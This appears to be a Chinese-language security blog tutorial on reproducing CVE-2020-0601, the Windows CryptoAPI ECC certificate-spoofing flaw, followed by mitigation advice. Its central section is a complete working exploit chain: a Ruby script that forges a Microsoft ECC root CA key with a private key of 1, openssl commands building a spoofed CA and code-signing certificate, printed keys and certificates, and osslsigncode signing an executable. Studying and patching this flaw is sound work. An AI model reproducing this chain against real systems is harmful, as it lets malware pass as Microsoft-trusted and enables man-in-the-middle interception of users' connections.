CVE-2020-0601漏洞复现及防御机制

基于PE数字签名,微软证书漏洞(CVE-2020-0601)在实现椭圆曲线加密(ECC)算法数字证书验证时产生,位于CryptoAPI.dll文件。可被利用与伪造来组可信任来源的签名或证书,并且因其业务特性会衍生出多种攻击向量,具有极高的可利用价值和极大的潜在破坏力。

1. 漏洞背景

1.1 漏洞概述

CVE-2020-0601漏洞位于窗口的加密组件CryptoAPI中。 CryptoAPI是微软提供给开发者的Windows安全服务APP接口,可以用于加密的APP应用,实现数据的加密、解密、签名、验证等功能。

可能影响信任的一些实例包括:

  • HTTPS连接
  • 文件签名
  • 电子邮件签名
  • 以用户模式启动的签名可执行程序

此外,该漏洞可以让攻击者伪造代码签名证书对恶意可执行文件进行签名,使文件看似来自可信来源。例如,可以让勒索软件或其它间谍软件拥有看似有效的证书,从而促使用户安装。中间人攻击并解密用户连接到受影响软件的机密信息也是主要的攻击场景之一。

1.2 漏洞原理

Crypt32.dll提供的微软Windows CryptoAPI无法正确验证ECC证书的信任链。 攻击者可以利用这个漏洞伪造可信的根证书并颁发证书。 Crypt32.dllCertGetCertifiCAteChain()函数用于验证X.509的合法性,并跟踪受信任的根CA颁发的证书。 由于函数存在漏洞,无法正确验证包含第三方非微软根证书的证书。

1.3 影响范围

目前,支持使用带有指定参数的ECC密钥的证书的Microsoft Windows版本会受到影响,包括:

  • Windows 10
  • Windows Server 2016
  • Windows Server 2019
  • 依赖于Windows CryptoAPI的应用程序

由于Windows 7、Windows Server 2008 R2没有默认添加微软的ECC根证书,crypt32.dll里也没有这个hash值,不能直接对比通过,故不受影响。

2. 前置知识

2.1 ECC加密算法

基础知识:ECC私钥+椭圆曲线=ECC公钥

漏洞成因:微软的私钥+微软选的椭圆曲线=微软根证书里的公钥

​ 黑客的私钥+黑客选的椭圆曲线=微软根证书里的公钥

不同的椭圆曲线和不同的私钥,能产生相同的公钥。Win 10默认添加了微软的ECC根证书,在做证书验证时,会一直验证到微软根证书中的公钥hash值,这个值直接写在了crypt32.dll里面,验证时没有对比是不是同一个椭圆曲线,只对比了公钥值,导致黑客拿自己的私钥签名,就能伪装成微软的签名。

要形象地理解椭圆曲线加密算法,可以结合图形来看,以下是一个符合椭圆曲线的方程及图像。

椭圆曲线具有一些独特的性质使它适合用于加密算法:

  • 椭圆曲线关于x轴对称
  • 任何一条非垂直的线与曲线最多有三个点相交
  • 曲线是光滑的,即曲线的所有点都没有两个及以上的不同的切线

在椭圆曲线上任意两点A、B,作直线交于椭圆曲线另一点C’,过C’作y轴的平行线与椭圆曲线交于C点,定义A+B=C。椭圆曲线的加法符合交换律和结合律。

如果A、B点重合,则过A作椭圆曲线的切线,以同样的方法得到对应的结果C=2A。

接下来是椭圆曲线加密相关的重点,如果对n个A进行累加,则可依次累加连线得到nA的值。

  1. 起点为A,终点D=3A,阶为3
  2. 起点为A,终点G=4A,阶为4

椭圆曲线加密算法的数学依据:

考虑K=kG,其中K、G为椭圆曲线Ep(a,b)上的点,n为G的阶。k为小于n的整数。给定k和G,根据加法法则计算K很容易(逐次求解);但反过来,给定K和G,求k就非常困难。因为实际使用中的ECC原则上把私钥k取得相当大,n也相当大,且椭圆曲线不再连续而是在实数内离散的值,要把n个离散的值逐一算出几乎是不可能的。

  • 点G称为基点
  • k(k<n)为私有密钥
  • K为公开密钥

ECC和RSA加密算法对比:

椭圆曲线加密算法(ECC)和RSA同样是一种公钥密钥加密技术,对原始数据以公钥加密,以私钥解密,即便攻击者获取密文和公钥也无法(在合理的时间或代价下)解密获取明文。ECC常被应用于数字签名,以私钥加密生成签名,以公钥解密验证签名,如果和原文一样则签名验证成功。公开密钥加密之所以可靠是因为它们利用了公钥密码领域的单向函数原理,正向操作非常简单,而逆向操作非常困难。

由G(基点)出发,进行k(私钥)次变换,很容易地得到终点K(公钥)的值。

已知G(基点)和K(公钥),要逆推得到移动次数k(私钥)则是一个很难的问题。

相比传统的RSA加密算法,椭圆加密算法具有着天生的优势,椭圆加密算法的逆向过程相比RSA有着更大的时间复杂度。在密钥长度相同的情况下,椭圆加密算法相比RSA具有更好的安全强度。一般认为,160比特的椭圆曲线即可提供与1024比特的RSA密钥相当的安全强度。

较短的密钥也意味着更少的存储空间、更快的加解密速度和更少的带宽消耗,正因为椭圆加密算法的这些优势,它被用于Windows的签名系统、HTTPS的证书、比特币系统和中国的二代身份证系统中。

虽然椭圆曲线加密算法具有着许多优势,纯算法角度攻破难度极大,微软对此算法的实现的缺漏却给漏洞利用提供了可乘之机。回到椭圆曲线加密最基本的等式K=kG,首先需要明确的是,虽然对于给定的基点G和公钥K,要求解私钥k很困难,但如果可以任意指定基点G,要构造一对k和G使等式成立却极其简单。最简单的情况,令基点G=K,则私钥k=1,这样一对基点和私钥可以使等式成立,也是有效的解。

在正常的标准椭圆曲线算法中,基点G并不是随意指定的,而是有固定的值(标准文件会对基点G等参数的选择作出规定),例如在secp256r1版本的椭圆曲线算法中,基点G应当为标准规定的固定值,如果对参数不加验证,使得用户可以自定义传入的基点G值(作为函数的参数),上面的私钥k=1的特殊解即可成立。

在有漏洞版本的crypt32.dll中验证使用ECC算法签名部分的函数恰恰是这个情况,原先的函数未加参数验证,参与计算的基点G的内容由被验证的证书随意指定,使未授权的证书能够构建私钥k=1的特殊解来成功通过椭圆加密算法的签名验证的过程。

2.2 Windows证书验证

以SSL协议为例,讲解Windows如何进行证书验证。小明(m)在某电商(x)网站上购买了一本书,这时就调用了SSL协议进行通讯,建立SSL协议的步骤总结为下图:

基本步骤包括:

  1. 打招呼:小明和电商互相介绍自己,小明和电商协商好以后的步骤里将使用到的特定密码算法。在本漏洞中,该算法为ECC加密算法。(该步骤没有利用密码工具)
  2. 身份验证:电商向小明验证自己的身份,电商发送包含自己的公钥的证书,该证书由权威的第三方证书机构(CA)颁发。小明使用CA的公开验证密钥,验证证书中对PK的签名。(漏洞触发地方)
  3. 信息加密:由小明生成一个随机的密钥MS,该密钥用于生成对双方传输的信息进行对称加密的$K_1$与$K_2$。MS由小明从电商那里获得的证书公钥进行加密并交给电商。电商通过手中的私钥解密获得MS。这时双方都获得了用于进行加密通讯的密钥。

注意:

  • 在SSL会话过程中,只有电商一方被要求提供证书,小明可能根本没有公钥(或证书)。
  • 该漏洞的触发点在于第三方权威机构在步骤2验证证书时产生的逻辑漏洞,使得攻击者可以通过伪造证书将自身伪装成电商,与小明进行通讯。
  • 通过及时更新微软补丁包可以有效防止上述情况发生。

3. 漏洞复现

3.1 环境配置

靶机:Win 10 家庭版 x64

利用工具:

  • WSL(Windows Subsystem for Linux)
  • Ruby环境

3.2 复现准备

下载并安装WSL,“以管理员身份运行”Powershell,输入命令:

1
wsl --install

更多个性化设置看使用 WSL 在 Windows 上安装 Linux

安装完成后重启,输入命令安装Ubuntu发行版:

1
wsl --install --distribution Ubuntu

创建用户账号和密码,与Windows的账号密码不相关。

此后再次打开子系统直接在CMD窗口输入命令wsl即可。子系统与VMware中的虚拟机互斥,要想开启虚拟机,则在CMD窗口输入:

1
bcdedit /set hypervisorlaunchtype off

重启。如果想打开子系统,则需设置:

1
bcdedit /set hypervisorlaunchtype auto

在Ubuntu的基础上安装Ruby环境:

1
sudo apt install ruby

导出微软的任意一个ECC密钥证书,这是微软在实现椭圆曲线加密(ECC)算法的数字证书,位于CryptoAPI.dll文件,也是被我们用来伪造可信任来源的签名漏洞。导出方法请看PE数字签名 1-2-2微软数字签名证书

3.3 复现过程

main.rb文件和导出的微软ECC签名证书文件复制到WSL。

接着运行Ruby代码:

1
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

生成spoofed_ca.key公钥文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
-----BEGIN EC PRIVATE KEY-----
MIIB+gIBAQQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAABoIIBWzCCAVcCAQEwPAYHKoZIzj0BAQIxAP//////////////////
///////////////////////+/////wAAAAAAAAAA/////zB7BDD/////////////
/////////////////////////////v////8AAAAAAAAAAP////wEMLMxL6fiPufk
mI4Fa+P4LRkYHZxu/oFBEgMUCI9QE4daxlY5jYou0Z0qhcjt0+wq7wMVAKM1kmqj
GaJ6HQCJamdzpIJ6zaxzBGEExxEWKnYdVo6+uWJl1MPOtPDDMOyPbdduObzISaur
uONDeNWBBl3vx32fztazkHXeDLCQ3iO6yNE+Z+AZqRuGMR5fNC3uF/0V+34nijKh
6smPyX4Yyy87LEh6fab0AQesAjEA////////////////////////////////x2NN
gfQ3Ld9YGg2ySLCneuzsGWrMxSlzAgEBoWQDYgAExxEWKnYdVo6+uWJl1MPOtPDD
MOyPbdduObzISauruONDeNWBBl3vx32fztazkHXeDLCQ3iO6yNE+Z+AZqRuGMR5f
NC3uF/0V+34nijKh6smPyX4Yyy87LEh6fab0AQes
-----END EC PRIVATE KEY-----

main.rb代码如下,设置私钥为1,使得加密等式成立,并生成证书公钥文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
require 'openssl'

raw = File.read ARGV[0]
ca = OpenSSL::X509::Certificate.new(raw) # Read certificate
ca_key = ca.public_key # Parse public key from CA

ca_key.private_key = 1 # Set a private key, which will match Q = d'G'
group = ca_key.group
group.set_generator(ca_key.public_key, group.order, group.cofactor)
group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE
ca_key.group = group # Set new group with fake generator G' = Q

File.open("spoofed_ca.key", 'w') { |f| f.write ca_key.to_pem }

基于此密钥生成一个新的x509证书,这将是我们自己的欺骗性CA。

1
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

国家、地区等等这些可以随便填,生成spoofed_ca.crt公钥文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
-----BEGIN CERTIFICATE-----
MIIDnjCCAySgAwIBAgIUT60jMVGMy5H1KVo51W4nLMUvlUkwCgYIKoZIzj0EAwIw
WjELMAkGA1UEBhMCV1gxDDAKBgNVBAgMA0xXWDEPMA0GA1UEBwwGQVlHWllMMQww
CgYDVQQKDANZQ0YxDDAKBgNVBAsMAzIzMzEQMA4GA1UEAwwHdjVsZTBuOTAeFw0y
MjA3MDgxNDA3MjFaFw0yMjA4MDcxNDA3MjFaMFoxCzAJBgNVBAYTAldYMQwwCgYD
VQQIDANMV1gxDzANBgNVBAcMBkFZR1pZTDEMMAoGA1UECgwDWUNGMQwwCgYDVQQL
DAMyMzMxEDAOBgNVBAMMB3Y1bGUwbjkwggHMMIIBZAYHKoZIzj0CATCCAVcCAQEw
PAYHKoZIzj0BAQIxAP/////////////////////////////////////////+////
/wAAAAAAAAAA/////zB7BDD/////////////////////////////////////////
/v////8AAAAAAAAAAP////wEMLMxL6fiPufkmI4Fa+P4LRkYHZxu/oFBEgMUCI9Q
E4daxlY5jYou0Z0qhcjt0+wq7wMVAKM1kmqjGaJ6HQCJamdzpIJ6zaxzBGEExxEW
KnYdVo6+uWJl1MPOtPDDMOyPbdduObzISauruONDeNWBBl3vx32fztazkHXeDLCQ
3iO6yNE+Z+AZqRuGMR5fNC3uF/0V+34nijKh6smPyX4Yyy87LEh6fab0AQesAjEA
////////////////////////////////x2NNgfQ3Ld9YGg2ySLCneuzsGWrMxSlz
AgEBA2IABMcRFip2HVaOvrliZdTDzrTwwzDsj23Xbjm8yEmrq7jjQ3jVgQZd78d9
n87Ws5B13gywkN4jusjRPmfgGakbhjEeXzQt7hf9Fft+J4oyoerJj8l+GMsvOyxI
en2m9AEHrKNTMFEwHQYDVR0OBBYEFEPvcIe4nb/siBncxsRrdQ11NDMIMB8GA1Ud
IwQYMBaAFEPvcIe4nb/siBncxsRrdQ11NDMIMA8GA1UdEwEB/wQFMAMBAf8wCgYI
KoZIzj0EAwIDaAAwZQIxAMEufTnFga8x12v62Sh3GFqNbEYV10JiZCDyCvq6AJBI
+KcouXc8fG1wctZ00t9qrQIwSZDpKeKQaQJIzJSC/0cmiUGyhQhRT8KkM4d/zLXr
wfzVUW6NaVjoOiBIGagB1jXX
-----END CERTIFICATE-----

使用下面命令生成一个新密钥,该密钥可以是我们想要的任何类型,它将用于创建代码签名证书,我们将使用自己的CA对其进行签名。

1
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

生成cert.key新密钥文件。

1
2
3
4
5
6
-----BEGIN EC PRIVATE KEY-----
MIGkAgEBBDCAStK2Htw/59O0noNiH5S1h26FWYO2nG58Gm3mWvskqI2iNmHaMckI
rdlMLGfQ/QWgBwYFK4EEACKhZANiAAR5OFuxa8zYDkJ8cAo52gUJ4p8+J5johGhZ
u3rwbSz0AU/vvuYfQO6N88q9a0KtlWqZA7GiwZ0mmG3ZhhzpRtkf2Uxq/9pHgEPA
pp5LrQMLZPCw0gki3VAyN41+DJWtLWQ=
-----END EC PRIVATE KEY-----

接下来创建一个新的证书签名请求(CSR),该请求通常会发送到受信任的CA,但是由于存在欺骗请求,因此我们可以自己对其进行签名。

前提是我们把openssl_cs.conf复制到该目录下,此时生成cert.csr文件。

1
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

使用我们的欺骗性CA和CA密钥签署的新CSR,生成cert.crt证书,有效期10000天,即2049年到期,而真正的受信任Microsoft ECC CA在2043年到期。

1
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

将证书的密钥和欺骗性的CA打包到一个PKCS12文件中,以对可执行文件进行签名。

1
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

让输入密码时直接回车(否则后面签名时会失败),生成cert.p12证书文件。

安装osslsigncode:

1
sudo apt install osslsigncode

出现以下错误:

执行命令sudo apt-get update再下载想要安装的软件即可。

用PKCS12文件签名某个可执行文件,如这里的python.exe。(python.exe要在本目录下或在命令里修改为绝对路径)

1
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in python.exe -out python_signed.exe

查看python_signed.exe文件的数字签名详细信息,比如2049年到期,颁发者为v5le0n9,以及设置的签名信息,证书可靠。该可执行文件的数字签名校验通过,并且成功欺骗了系统。(下面两图为借用)

由于我更新了补丁,python_signed.exe文件报毒并且它的数字签名显示无法验证。

4. 防御措施

4.1 缓解措施

快速采用补丁是目前已知较好的缓解措施。尽管尚未出现公开的攻击方式和案例,但建议及时安装安全更新。更新后,当检测到有人试图利用CVE-2020-0601进行攻击时,系统将在每次重新启动Windows日志后在事件查看器中生成事件ID。

4.2 安全建议

除了安装补丁程序之外,企业还可以采取其它措施保护端点,比如:

  • 从网络流量中提取证书,检查可疑的属性;
  • 通过执行TLS检查,不使用Windows进行证书验证的代理设备承载流量;
  • 在企业内部部署私有根证书颁发机构,并且在特定计算机/服务器位置控制第三方软件的部署和使用;
  • 符合条件的企业可以申请假如微软Security Update Validation Program(SUVP)或Microsoft Active Protections Program(MAPP),从而提前从微软获得安全更新以进行相关的测试分析。